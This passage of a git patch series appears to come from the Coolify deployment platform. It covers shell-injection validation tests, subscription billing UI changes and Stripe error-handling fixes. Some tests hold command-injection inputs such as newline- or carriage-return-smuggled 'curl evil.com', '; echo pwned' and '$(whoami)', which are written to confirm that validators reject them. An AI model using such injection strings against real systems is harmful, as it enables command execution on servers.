['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('runtime validates docker compose commands', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateShellSafeCommand'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + + expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + + expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command')) + ->toBe('docker compose up -d --build'); + }); +}); + +describe('custom_docker_run_options validation', function () { + test('rejects semicolon injection in custom_docker_run_options', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in custom_docker_run_options', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => '--hostname=$(whoami)'], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid docker run options', function ($opts) { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => $opts], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + '--cap-add=NET_ADMIN --cap-add=NET_RAW', + '--privileged --init', + '--memory=512m --cpus=2', + ]); +}); + +describe('container name validation', function () { + test('rejects shell injection in container name', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['post_deployment_command_container' => 'my-container; echo pwned'], + ['post_deployment_command_container' => $rules['post_deployment_command_container']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid container names', function ($name) { + $rules = sharedDataApplications(); + + $validator = validator( + ['post_deployment_command_container' => $name], + ['post_deployment_command_container' => $rules['post_deployment_command_container']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['my-app', 'nginx_proxy', 'web.server', 'app123']); + + test('runtime validates container names', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateContainerName'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'container; echo pwned')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + + expect($method->invoke($instance, 'my-app')) + ->toBe('my-app'); + }); +}); + +describe('dockerfile_target_build rules survive array_merge in controller', function () { + test('dockerfile_target_build safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged)->toHaveKey('dockerfile_target_build'); + expect($merged['dockerfile_target_build'])->toBeArray(); + expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN); + }); +}); + +describe('docker_compose_custom_command rules survive array_merge in controller', function () { + test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + // After our fix, local no longer contains docker_compose_custom_start_command, + // so the shared regex rule must survive + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['docker_compose_custom_start_command'])->toBeArray(); + expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['docker_compose_custom_build_command'])->toBeArray(); + expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); +}); + describe('API route middleware for deploy actions', function () { test('application start route requires deploy ability', function () { $routes = app('router')->getRoutes(); From 426a708374dc17cef700ba5b90070ce50758f46a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Mar 2026 15:11:19 +0100 Subject: [PATCH 19/49] feat(subscription): display next billing date and billing interval Add current_period_end to refund eligibility checks and display next billing date and billing interval in the subscription overview. Refactor the plan overview layout to show subscription status more prominently. --- app/Actions/Stripe/RefundSubscription.php | 14 +- app/Livewire/Subscription/Actions.php | 10 ++ jean.json | 11 +- .../livewire/subscription/actions.blade.php | 120 ++++++++++-------- .../Subscription/RefundSubscriptionTest.php | 15 +++ 5 files changed, 113 insertions(+), 57 deletions(-) diff --git a/app/Actions/Stripe/RefundSubscription.php b/app/Actions/Stripe/RefundSubscription.php index 021cba13e..512afdb9e 100644 --- a/app/Actions/Stripe/RefundSubscription.php +++ b/app/Actions/Stripe/RefundSubscription.php @@ -19,7 +19,7 @@ public function __construct(?StripeClient $stripe = null) /** * Check if the team's subscription is eligible for a refund. * - * @return array{eligible: bool, days_remaining: int, reason: string} + * @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null} */ public function checkEligibility(Team $team): array { @@ -43,8 +43,10 @@ public function checkEligibility(Team $team): array return $this->ineligible('Subscription not found in Stripe.'); } + $currentPeriodEnd = $stripeSubscription->current_period_end; + if (! in_array($stripeSubscription->status, ['active', 'trialing'])) { - return $this->ineligible("Subscription status is '{$stripeSubscription->status}'."); + return $this->ineligible("Subscription status is '{$stripeSubscription->status}'.", $currentPeriodEnd); } $startDate = \Carbon\Carbon::createFromTimestamp($stripeSubscription->start_date); @@ -52,13 +54,14 @@ public function checkEligibility(Team $team): array $daysRemaining = self::REFUND_WINDOW_DAYS - $daysSinceStart; if ($daysRemaining <= 0) { - return $this->ineligible('The 30-day refund window has expired.'); + return $this->ineligible('The 30-day refund window has expired.', $currentPeriodEnd); } return [ 'eligible' => true, 'days_remaining' => $daysRemaining, 'reason' => 'Eligible for refund.', + 'current_period_end' => $currentPeriodEnd, ]; } @@ -128,14 +131,15 @@ public function execute(Team $team): array } /** - * @return array{eligible: bool, days_remaining: int, reason: string} + * @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null} */ - private function ineligible(string $reason): array + private function ineligible(string $reason, ?int $currentPeriodEnd = null): array { return [ 'eligible' => false, 'days_remaining' => 0, 'reason' => $reason, + 'current_period_end' => $currentPeriodEnd, ]; } } diff --git a/app/Livewire/Subscription/Actions.php b/app/Livewire/Subscription/Actions.php index 2d5392240..33eed3a6a 100644 --- a/app/Livewire/Subscription/Actions.php +++ b/app/Livewire/Subscription/Actions.php @@ -7,6 +7,7 @@ use App\Actions\Stripe\ResumeSubscription; use App\Actions\Stripe\UpdateSubscriptionQuantity; use App\Models\Team; +use Carbon\Carbon; use Illuminate\Support\Facades\Hash; use Livewire\Component; use Stripe\StripeClient; @@ -31,10 +32,15 @@ class Actions extends Component public bool $refundAlreadyUsed = false; + public string $billingInterval = 'monthly'; + + public ?string $nextBillingDate = null; + public function mount(): void { $this->server_limits = Team::serverLimit(); $this->quantity = (int) $this->server_limits; + $this->billingInterval = currentTeam()->subscription?->billingInterval() ?? 'monthly'; } public function loadPricePreview(int $quantity): void @@ -198,6 +204,10 @@ private function checkRefundEligibility(): void $result = (new RefundSubscription)->checkEligibility(currentTeam()); $this->isRefundEligible = $result['eligible']; $this->refundDaysRemaining = $result['days_remaining']; + + if ($result['current_period_end']) { + $this->nextBillingDate = Carbon::createFromTimestamp($result['current_period_end'])->format('M j, Y'); + } } catch (\Exception $e) { \Log::warning('Refund eligibility check failed: '.$e->getMessage()); } diff --git a/jean.json b/jean.json index 402bcd02d..5cd8362d9 100644 --- a/jean.json +++ b/jean.json @@ -1,6 +1,13 @@ { "scripts": { "setup": "cp $JEAN_ROOT_PATH/.env . && mkdir -p .claude && cp $JEAN_ROOT_PATH/.claude/settings.local.json .claude/settings.local.json", + "teardown": null, "run": "docker rm -f coolify coolify-minio-init coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite; spin up; spin down" - } -} \ No newline at end of file + }, + "ports": [ + { + "port": 8000, + "label": "Coolify UI" + } + ] +} diff --git a/resources/views/livewire/subscription/actions.blade.php b/resources/views/livewire/subscription/actions.blade.php index c2bc7f221..6fba0ed83 100644 --- a/resources/views/livewire/subscription/actions.blade.php +++ b/resources/views/livewire/subscription/actions.blade.php @@ -35,44 +35,44 @@ }" @success.window="preview = null; showModal = false; qty = $wire.server_limits" @keydown.escape.window="if (showModal) { closeAdjust(); }" class="-mt-2">

Plan Overview

-
- {{-- Current Plan Card --}} -
-
Current Plan
-
+
+
+ Plan: + @if (data_get(currentTeam(), 'subscription')->type() == 'dynamic') Pay-as-you-go @else {{ data_get(currentTeam(), 'subscription')->type() }} @endif -
-
+ + · {{ $billingInterval === 'yearly' ? 'Yearly' : 'Monthly' }} + · + @if (currentTeam()->subscription->stripe_cancel_at_period_end) + Cancelling at end of period + @else + Active + @endif +
+
+ + Active servers: + {{ currentTeam()->servers->count() }} + / + + paid + + Adjust +
+
+ @if ($refundCheckLoading) + + @elseif ($nextBillingDate) @if (currentTeam()->subscription->stripe_cancel_at_period_end) - Cancelling at end of period + Cancels on {{ $nextBillingDate }} @else - Active - · Invoice - {{ currentTeam()->subscription->stripe_invoice_paid ? 'paid' : 'not paid' }} + Next billing {{ $nextBillingDate }} @endif -
-
- - {{-- Paid Servers Card --}} -
-
Paid Servers
-
-
Click to adjust
-
- - {{-- Active Servers Card --}} -
-
Active Servers
-
- {{ currentTeam()->servers->count() }} -
-
Currently running
+ @endif
@@ -99,9 +99,9 @@ class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-scree x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95" class="relative w-full border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col">
-

Adjust Server Limit

+

Adjust Server Limit

-
Next billing cycle
+
+ Next billing cycle + @if ($nextBillingDate) + · {{ $nextBillingDate }} + @endif +
@@ -155,7 +160,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
- Total / month + Total / {{ $billingInterval === 'yearly' ? 'year' : 'month' }}
@@ -175,7 +180,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg warningMessage="This will update your subscription and charge the prorated amount to your payment method." step2ButtonText="Confirm & Pay"> - + Update Server Limit @@ -194,11 +199,10 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg - {{-- Billing, Refund & Cancellation --}} + {{-- Manage Subscription --}}

Manage Subscription

- {{-- Billing --}} @@ -207,8 +211,13 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg Manage Billing on Stripe +
+
- {{-- Resume or Cancel --}} + {{-- Cancel Subscription --}} +
+

Cancel Subscription

+
@if (currentTeam()->subscription->stripe_cancel_at_period_end) Resume Subscription @else @@ -231,10 +240,18 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg confirmationLabel="Enter your team name to confirm" shortConfirmationLabel="Team Name" step2ButtonText="Permanently Cancel" /> @endif +
+ @if (currentTeam()->subscription->stripe_cancel_at_period_end) +

Your subscription is set to cancel at the end of the billing period.

+ @endif +
- {{-- Refund --}} + {{-- Refund --}} +
+

Refund

+
@if ($refundCheckLoading) - + Request Full Refund @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) + @else + Request Full Refund @endif
- - {{-- Contextual notes --}} - @if ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) -

Eligible for a full refund — {{ $refundDaysRemaining }} days remaining.

- @elseif ($refundAlreadyUsed) -

Refund already processed. Each team is eligible for one refund only.

- @endif - @if (currentTeam()->subscription->stripe_cancel_at_period_end) -

Your subscription is set to cancel at the end of the billing period.

- @endif +

+ @if ($refundCheckLoading) + Checking refund eligibility... + @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) + Eligible for a full refund — {{ $refundDaysRemaining }} days remaining. + @elseif ($refundAlreadyUsed) + Refund already processed. Each team is eligible for one refund only. + @else + Not eligible for a refund. + @endif +

diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php index b6c2d4064..2447a0716 100644 --- a/tests/Feature/Subscription/RefundSubscriptionTest.php +++ b/tests/Feature/Subscription/RefundSubscriptionTest.php @@ -43,9 +43,11 @@ describe('checkEligibility', function () { test('returns eligible when subscription is within 30 days', function () { + $periodEnd = now()->addDays(20)->timestamp; $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => $periodEnd, ]; $this->mockSubscriptions @@ -58,12 +60,15 @@ expect($result['eligible'])->toBeTrue(); expect($result['days_remaining'])->toBe(20); + expect($result['current_period_end'])->toBe($periodEnd); }); test('returns ineligible when subscription is past 30 days', function () { + $periodEnd = now()->addDays(25)->timestamp; $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(35)->timestamp, + 'current_period_end' => $periodEnd, ]; $this->mockSubscriptions @@ -77,12 +82,15 @@ expect($result['eligible'])->toBeFalse(); expect($result['days_remaining'])->toBe(0); expect($result['reason'])->toContain('30-day refund window has expired'); + expect($result['current_period_end'])->toBe($periodEnd); }); test('returns ineligible when subscription is not active', function () { + $periodEnd = now()->addDays(25)->timestamp; $stripeSubscription = (object) [ 'status' => 'canceled', 'start_date' => now()->subDays(5)->timestamp, + 'current_period_end' => $periodEnd, ]; $this->mockSubscriptions @@ -94,6 +102,7 @@ $result = $action->checkEligibility($this->team); expect($result['eligible'])->toBeFalse(); + expect($result['current_period_end'])->toBe($periodEnd); }); test('returns ineligible when no subscription exists', function () { @@ -104,6 +113,7 @@ expect($result['eligible'])->toBeFalse(); expect($result['reason'])->toContain('No active subscription'); + expect($result['current_period_end'])->toBeNull(); }); test('returns ineligible when invoice is not paid', function () { @@ -114,6 +124,7 @@ expect($result['eligible'])->toBeFalse(); expect($result['reason'])->toContain('not paid'); + expect($result['current_period_end'])->toBeNull(); }); test('returns ineligible when team has already been refunded', function () { @@ -145,6 +156,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, ]; $this->mockSubscriptions @@ -205,6 +217,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, ]; $this->mockSubscriptions @@ -229,6 +242,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, ]; $this->mockSubscriptions @@ -255,6 +269,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(35)->timestamp, + 'current_period_end' => now()->addDays(25)->timestamp, ]; $this->mockSubscriptions From 566744b2e036897fc8200dd3622ba097aff1bf6c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Mar 2026 15:21:59 +0100 Subject: [PATCH 20/49] fix(stripe): add error handling and resilience to subscription operations - Record refunds immediately before cancellation to prevent retry issues if cancel fails - Wrap Stripe API calls in try-catch for refunds and quantity reverts with internal notifications - Add null check in Team.subscriptionEnded() to prevent NPE when subscription doesn't exist - Fix control flow bug in StripeProcessJob (add missing break statement) - Cap dynamic server limit with MAX_SERVER_LIMIT in subscription updates - Add comprehensive tests for refund failures, event handling, and null safety --- app/Actions/Stripe/RefundSubscription.php | 19 ++- .../Stripe/UpdateSubscriptionQuantity.php | 19 ++- app/Jobs/StripeProcessJob.php | 6 +- .../VerifyStripeSubscriptionStatusJob.php | 9 +- app/Models/Team.php | 4 + .../Subscription/RefundSubscriptionTest.php | 50 ++++++ .../Subscription/StripeProcessJobTest.php | 143 ++++++++++++++++++ .../TeamSubscriptionEndedTest.php | 16 ++ .../VerifyStripeSubscriptionStatusJobTest.php | 102 +++++++++++++ 9 files changed, 350 insertions(+), 18 deletions(-) create mode 100644 tests/Feature/Subscription/StripeProcessJobTest.php create mode 100644 tests/Feature/Subscription/TeamSubscriptionEndedTest.php create mode 100644 tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php diff --git a/app/Actions/Stripe/RefundSubscription.php b/app/Actions/Stripe/RefundSubscription.php index 021cba13e..fc8191f5b 100644 --- a/app/Actions/Stripe/RefundSubscription.php +++ b/app/Actions/Stripe/RefundSubscription.php @@ -99,16 +99,27 @@ public function execute(Team $team): array 'payment_intent' => $paymentIntentId, ]); - $this->stripe->subscriptions->cancel($subscription->stripe_subscription_id); + // Record refund immediately so it cannot be retried if cancel fails + $subscription->update([ + 'stripe_refunded_at' => now(), + 'stripe_feedback' => 'Refund requested by user', + 'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(), + ]); + + try { + $this->stripe->subscriptions->cancel($subscription->stripe_subscription_id); + } catch (\Exception $e) { + \Log::critical("Refund succeeded but subscription cancel failed for team {$team->id}: ".$e->getMessage()); + send_internal_notification( + "CRITICAL: Refund succeeded but cancel failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual intervention required." + ); + } $subscription->update([ 'stripe_cancel_at_period_end' => false, 'stripe_invoice_paid' => false, 'stripe_trial_already_ended' => false, 'stripe_past_due' => false, - 'stripe_feedback' => 'Refund requested by user', - 'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(), - 'stripe_refunded_at' => now(), ]); $team->subscriptionEnded(); diff --git a/app/Actions/Stripe/UpdateSubscriptionQuantity.php b/app/Actions/Stripe/UpdateSubscriptionQuantity.php index c181e988d..a3eab4dca 100644 --- a/app/Actions/Stripe/UpdateSubscriptionQuantity.php +++ b/app/Actions/Stripe/UpdateSubscriptionQuantity.php @@ -153,12 +153,19 @@ public function execute(Team $team, int $quantity): array \Log::warning("Subscription {$subscription->stripe_subscription_id} quantity updated but invoice not paid (status: {$latestInvoice->status}) for team {$team->name}. Reverting to {$previousQuantity}."); // Revert subscription quantity on Stripe - $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ - 'items' => [ - ['id' => $item->id, 'quantity' => $previousQuantity], - ], - 'proration_behavior' => 'none', - ]); + try { + $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'items' => [ + ['id' => $item->id, 'quantity' => $previousQuantity], + ], + 'proration_behavior' => 'none', + ]); + } catch (\Exception $revertException) { + \Log::critical("Failed to revert Stripe quantity for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Stripe may have quantity {$quantity} but local is {$previousQuantity}. Error: ".$revertException->getMessage()); + send_internal_notification( + "CRITICAL: Stripe quantity revert failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual reconciliation required." + ); + } // Void the unpaid invoice if ($latestInvoice->id) { diff --git a/app/Jobs/StripeProcessJob.php b/app/Jobs/StripeProcessJob.php index e61ac81e4..f5d52f29c 100644 --- a/app/Jobs/StripeProcessJob.php +++ b/app/Jobs/StripeProcessJob.php @@ -2,6 +2,7 @@ namespace App\Jobs; +use App\Actions\Stripe\UpdateSubscriptionQuantity; use App\Models\Subscription; use App\Models\Team; use Illuminate\Contracts\Queue\ShouldBeEncrypted; @@ -238,6 +239,7 @@ public function handle(): void 'stripe_invoice_paid' => false, ]); } + break; case 'customer.subscription.updated': $teamId = data_get($data, 'metadata.team_id'); $userId = data_get($data, 'metadata.user_id'); @@ -272,14 +274,14 @@ public function handle(): void $comment = data_get($data, 'cancellation_details.comment'); $lookup_key = data_get($data, 'items.data.0.price.lookup_key'); if (str($lookup_key)->contains('dynamic')) { - $quantity = data_get($data, 'items.data.0.quantity', 2); + $quantity = min((int) data_get($data, 'items.data.0.quantity', 2), UpdateSubscriptionQuantity::MAX_SERVER_LIMIT); $team = data_get($subscription, 'team'); if ($team) { $team->update([ 'custom_server_limit' => $quantity, ]); + ServerLimitCheckJob::dispatch($team); } - ServerLimitCheckJob::dispatch($team); } $subscription->update([ 'stripe_feedback' => $feedback, diff --git a/app/Jobs/VerifyStripeSubscriptionStatusJob.php b/app/Jobs/VerifyStripeSubscriptionStatusJob.php index cf7c3c0ea..f7addacf1 100644 --- a/app/Jobs/VerifyStripeSubscriptionStatusJob.php +++ b/app/Jobs/VerifyStripeSubscriptionStatusJob.php @@ -82,12 +82,9 @@ public function handle(): void 'stripe_past_due' => false, ]); - // Trigger subscription ended logic if canceled - if ($stripeSubscription->status === 'canceled') { - $team = $this->subscription->team; - if ($team) { - $team->subscriptionEnded(); - } + $team = $this->subscription->team; + if ($team) { + $team->subscriptionEnded(); } break; diff --git a/app/Models/Team.php b/app/Models/Team.php index e32526169..10b22b4e1 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -197,6 +197,10 @@ public function isAnyNotificationEnabled() public function subscriptionEnded() { + if (! $this->subscription) { + return; + } + $this->subscription->update([ 'stripe_subscription_id' => null, 'stripe_cancel_at_period_end' => false, diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php index b6c2d4064..144cdad09 100644 --- a/tests/Feature/Subscription/RefundSubscriptionTest.php +++ b/tests/Feature/Subscription/RefundSubscriptionTest.php @@ -251,6 +251,56 @@ expect($result['error'])->toContain('No payment intent'); }); + test('records refund and proceeds when cancel fails', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => [ + (object) ['payment_intent' => 'pi_test_123'], + ]]; + + $this->mockInvoices + ->shouldReceive('all') + ->with([ + 'subscription' => 'sub_test_123', + 'status' => 'paid', + 'limit' => 1, + ]) + ->andReturn($invoiceCollection); + + $this->mockRefunds + ->shouldReceive('create') + ->with(['payment_intent' => 'pi_test_123']) + ->andReturn((object) ['id' => 're_test_123']); + + // Cancel throws — simulating Stripe failure after refund + $this->mockSubscriptions + ->shouldReceive('cancel') + ->with('sub_test_123') + ->andThrow(new \Exception('Stripe cancel API error')); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + // Should still succeed — refund went through + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + // Refund timestamp must be recorded + expect($this->subscription->stripe_refunded_at)->not->toBeNull(); + // Subscription should still be marked as ended locally + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); + }); + test('fails when subscription is past refund window', function () { $stripeSubscription = (object) [ 'status' => 'active', diff --git a/tests/Feature/Subscription/StripeProcessJobTest.php b/tests/Feature/Subscription/StripeProcessJobTest.php new file mode 100644 index 000000000..95cff188a --- /dev/null +++ b/tests/Feature/Subscription/StripeProcessJobTest.php @@ -0,0 +1,143 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + config()->set('subscription.stripe_excluded_plans', ''); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); +}); + +describe('customer.subscription.created does not fall through to updated', function () { + test('created event creates subscription without setting stripe_invoice_paid to true', function () { + Queue::fake(); + + $event = [ + 'type' => 'customer.subscription.created', + 'data' => [ + 'object' => [ + 'customer' => 'cus_new_123', + 'id' => 'sub_new_123', + 'metadata' => [ + 'team_id' => $this->team->id, + 'user_id' => $this->user->id, + ], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + $subscription = Subscription::where('team_id', $this->team->id)->first(); + + expect($subscription)->not->toBeNull(); + expect($subscription->stripe_subscription_id)->toBe('sub_new_123'); + expect($subscription->stripe_customer_id)->toBe('cus_new_123'); + // Critical: stripe_invoice_paid must remain false — payment not yet confirmed + expect($subscription->stripe_invoice_paid)->toBeFalsy(); + }); +}); + +describe('customer.subscription.updated clamps quantity to MAX_SERVER_LIMIT', function () { + test('quantity exceeding MAX is clamped to 100', function () { + Queue::fake(); + + Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_existing', + 'stripe_customer_id' => 'cus_clamp_test', + 'stripe_invoice_paid' => true, + ]); + + $event = [ + 'type' => 'customer.subscription.updated', + 'data' => [ + 'object' => [ + 'customer' => 'cus_clamp_test', + 'id' => 'sub_existing', + 'status' => 'active', + 'metadata' => [ + 'team_id' => $this->team->id, + 'user_id' => $this->user->id, + ], + 'items' => [ + 'data' => [[ + 'subscription' => 'sub_existing', + 'plan' => ['id' => 'price_dynamic_monthly'], + 'price' => ['lookup_key' => 'dynamic_monthly'], + 'quantity' => 999, + ]], + ], + 'cancel_at_period_end' => false, + 'cancellation_details' => ['feedback' => null, 'comment' => null], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + $this->team->refresh(); + expect($this->team->custom_server_limit)->toBe(100); + + Queue::assertPushed(ServerLimitCheckJob::class); + }); +}); + +describe('ServerLimitCheckJob dispatch is guarded by team check', function () { + test('does not dispatch ServerLimitCheckJob when team is null', function () { + Queue::fake(); + + // Create subscription without a valid team relationship + $subscription = Subscription::create([ + 'team_id' => 99999, + 'stripe_subscription_id' => 'sub_orphan', + 'stripe_customer_id' => 'cus_orphan_test', + 'stripe_invoice_paid' => true, + ]); + + $event = [ + 'type' => 'customer.subscription.updated', + 'data' => [ + 'object' => [ + 'customer' => 'cus_orphan_test', + 'id' => 'sub_orphan', + 'status' => 'active', + 'metadata' => [ + 'team_id' => null, + 'user_id' => null, + ], + 'items' => [ + 'data' => [[ + 'subscription' => 'sub_orphan', + 'plan' => ['id' => 'price_dynamic_monthly'], + 'price' => ['lookup_key' => 'dynamic_monthly'], + 'quantity' => 5, + ]], + ], + 'cancel_at_period_end' => false, + 'cancellation_details' => ['feedback' => null, 'comment' => null], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + Queue::assertNotPushed(ServerLimitCheckJob::class); + }); +}); diff --git a/tests/Feature/Subscription/TeamSubscriptionEndedTest.php b/tests/Feature/Subscription/TeamSubscriptionEndedTest.php new file mode 100644 index 000000000..55d59e0e6 --- /dev/null +++ b/tests/Feature/Subscription/TeamSubscriptionEndedTest.php @@ -0,0 +1,16 @@ +create(); + + // Should return early without error — no NPE + $team->subscriptionEnded(); + + // If we reach here, no exception was thrown + expect(true)->toBeTrue(); +}); diff --git a/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php b/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php new file mode 100644 index 000000000..be8661b6c --- /dev/null +++ b/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php @@ -0,0 +1,102 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_verify_123', + 'stripe_customer_id' => 'cus_verify_123', + 'stripe_invoice_paid' => true, + 'stripe_past_due' => false, + ]); +}); + +test('subscriptionEnded is called for unpaid status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'unpaid', + 'cancel_at_period_end' => false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + // Create a server to verify it gets disabled + $server = Server::factory()->create(['team_id' => $this->team->id]); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); + +test('subscriptionEnded is called for incomplete_expired status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'incomplete_expired', + 'cancel_at_period_end' => false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); + +test('subscriptionEnded is called for canceled status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'canceled', + 'cancel_at_period_end' => 